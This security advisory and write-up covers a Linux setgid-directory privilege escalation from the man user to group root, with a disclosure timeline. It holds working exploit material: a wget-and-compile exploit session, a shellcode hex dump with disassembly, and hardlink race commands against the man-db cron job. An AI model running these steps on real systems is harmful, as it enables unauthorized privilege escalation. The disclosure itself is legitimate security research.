## Introduction

**Problem description:** On some Linux systems, directories with setgid bit set may be found, e.g. using *find / -type d -perm -02000*. Some examples for Ubuntu Vivid are:

```
drwxrwsr-x  3 root staff 4096 Feb 25 12:03 /usr/local/lib/python3.4
drwxrwsr-x  2 root staff 4096 Feb 25 12:03 /usr/local/lib/python3.4/dist-packages
drwxrwsr-x  2 root staff 4096 Mar 14 08:23 /usr/local/share/ca-certificates
drwxrwsr-x  2 root staff 4096 Feb 25 16:48 /usr/local/share/fonts
drwxrwsr-x  7 root staff 4096 Mar 14 08:23 /usr/local/share/sgml
drwxr-sr-x 25 man  root  4096 May 15 00:40 /var/cache/man
drwxrwsr-x  2 root mail  4096 Feb 25 12:02 /var/mail
```

The directory */var/cache/man* is especially interesting, as it is owned by user *man/man*, which does not belong to the group *root*. In that case, the user not belonging to that group but allowed to modify the directory may escalate privileges to the group *root*.

The following section shows a way to create a setgid binary within that strangly configured directory using a quite playful method: just simply creating an empty file as setgid in that directory will work, but the file will lose the setgid property when attempting to write to it or truncate it. By bending the Linux kernel syscall interface, one might misuse the ld-loader while loading other suid binaries to do that for one.

## Methods

**Setgid Binary Creater:** The program CreateSetgidBinary.c allows to create the suitable setgid binary circumventing the kernel protection. Currently creating an empty setgid executable in */var/cache/man* would work but writing as user *man* will remove the setgid flag silently. Hence let root itself write binary code to it keeping the flags. But that is not so simple:

- Writing an interpreter header would be simple, but start of interpreter in kernel will drop the setgid capability immediately.
- Hence an ELF binary has to be written. The shellcode from below is just 155 bytes to perform *setresgid* and execute a shell
- We need a SUID binary to write arbitrary data to stdout with similar method already used in SuidBinariesAndProcInterface. But they do not just echo, they may perform some kind of transformation, e.g. use *basename* of arg0 for printing. To avoid transformation do not use SUID binary directly but let ld-linux fault and write out user supplied data without modifications. The faulting can triggered easily using LowMemoryProgramCrashing from previous work.
- I did not find any SUID binary writing out null-bytes, so they cannot provide the mandatory null-bytes within the ELF header on stdout/stderr. But kernel will help here, just seek beyond end of file before invoking SUID binary, thus filling gap with 0-bytes.
- The SUID binaries do not write only arg0 but also some error message, thus appending unneeded data to the growing file. As kernel does not allow truncation without losing the setgid property, the SUID binary has to be stopped writing more than needed. This can be done using the nice *setrlimit(RLIMIT_FSIZE, ...* system call.

**Program Invocation:** Following sequence can be used for testing:

```
root$ su -s /bin/bash man
man$ cd
man$ pwd
/var/cache/man
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  man  0 May 15 02:08 .
man$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
man$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
man$ ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
Completed
man$ ls -al ./escalate
-rwsrwsr-t 1 man root 155 May 15 02:12 ./escalate
man$ ./escalate /bin/sh
man$ ls -al /proc/self/
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  root 0 May 15 02:13 .
```

**Helper Shellcode** To have a small POC sample, a small ELF binary for escalation was created. It just calls *setresgid* and *execve* of command line supplied binary. File contains:

```
0000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
0000010: 0200 0300 0100 0000 8080 0408 3400 0000  ............4...
0000020: f800 0000 0000 0000 3400 2000 0200 2800  ........4. ...(.
0000030: 0500 0400 0100 0000 0000 0000 0080 0408  ................
0000040: 0080 0408 a200 0000 a200 0000 0500 0000  ................
0000050: 0010 0000 0100 0000 a400 0000 a490 0408  ................
0000060: a490 0408 0900 0000 0900 0000 0600 0000  ................
0000070: 0010 0000 0000 0000 0000 0000 0000 0000  ................
0000080: 31c0 89c8 89d0 89d8 04d2 cd80 31c0 89d0  1...........1...
0000090: b00b 89e1 83c1 088b 19cd 80              ...........
```

Assembler code: Binary cannot be run in gdb for disassembly, so here also the dump:

```
# Setup setresgid syscall (0xd2) with ebx=ecx=edx=0
00000000  31C0              xor eax,eax
00000002  89C8              mov eax,ecx
00000004  89D0              mov eax,edx
00000006  89D8              mov eax,ebx
00000008  04D2              add al,0xd2
0000000A  CD80              int 0x80
# Setup of execve syscall (0xb) using arg0 and argv from stack
0000000C  31C0              xor eax,eax
0000000E  89D0              mov eax,edx
```

```
00000010  B00B              mov al,0xb
00000012  89E1              mov ecx,esp
00000014  83C108            add ecx,byte +0x8
00000017  8B19              mov ebx,[ecx]
00000019  CD80              int 0x80
```

## Results, Discussion

**Man to Root Group Escalation:** There are some opportunities to use additional rights of group root to spread more harvoc or even escalate to user root:

- */etc/cron.daily/man-db local root:* As there are some writable files with owner root:root, hardlink protection will allow to link those to /var/cache/man. With systemd not used or installed, following code will race and allow to change arbitrary system file to owner *man*:

  ```
  if [ ! -d /run/systemd/system ] && [ -d /var/cache/man ]; then
    cd /
    if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>&1; then
      echo "Running find" >&2
      find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
        xargs -r0 chown -f man || true
    fi
  ```

  Example:

  ```
  mkdir /var/cache/man/cronesc
  ln /usr/share/perl5/Debian/AdduserCommon.pm /var/cache/man/cronesc/dash
  # Use http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/DirModifyInotify-20110530.c
  ./DirModifyInotify-20110530 --Watch /var/cache/man/cronesc --WatchCount 3 --MovePath /var/cache/man/cronesc --LinkTarget /bin
  # Wait for daily cron job
  ```

  This is just a variant of the more general man-db hardlink attack from here just without the need to have *apport* package installed.

- */sys/bus/pci/rescan*, */sys/bus/rapidio/scan* and */sys/devices/pci0000:00/0000:00:00.0/remove*: Seems that one might crash the machine performing unexpected PCI operations while running.
- */usr/share/perl5/Debian/AdduserCommon.pm*: not checked what this is for, but might be sourced when creating users under some circumstances and thus trigger group *root* to user *root* escalation.
- */usr/share/lintian/overrides/klibc-utils*: not checked, but might interfere with build operations, see dh_lintian.

**Other Group Escalation:** The directories mentioned in the introduction look like trouble brewing, especially */usr/local/lib/pythonxxx*. If some administrator or software misbehaves here setting the wrong user id, this will give access to the whole staff group.

**Linux Kernel Setgid Handling:** The current approach allowing users to create such files but dropping sgid on write operations is not very robust and might be a candidate for replacement.

## Timeline

- 20150513: Started to search for man db user privilege escalation
- 20150515: Report of directory setgid variant to Ubuntu security
- 20150526: Low impact for Ubuntu, no action.
- 20150624: Notified security at kernel.org
- 20150706: Last discussion activity on security kernel.org (see references below)
- 20150807: Still unclear, which component at fault, also reported agains mandb
- 20151202: Notified other distros via oss-security
- 201508xx: Sent to full disclosure

## Material, References

- Exploitation user mandb to root (see here)
- Kernel.org security mails: 1, 2, 3, 4, 5

Last modified 20151208
Contact e-mail: me (%) halfdog.net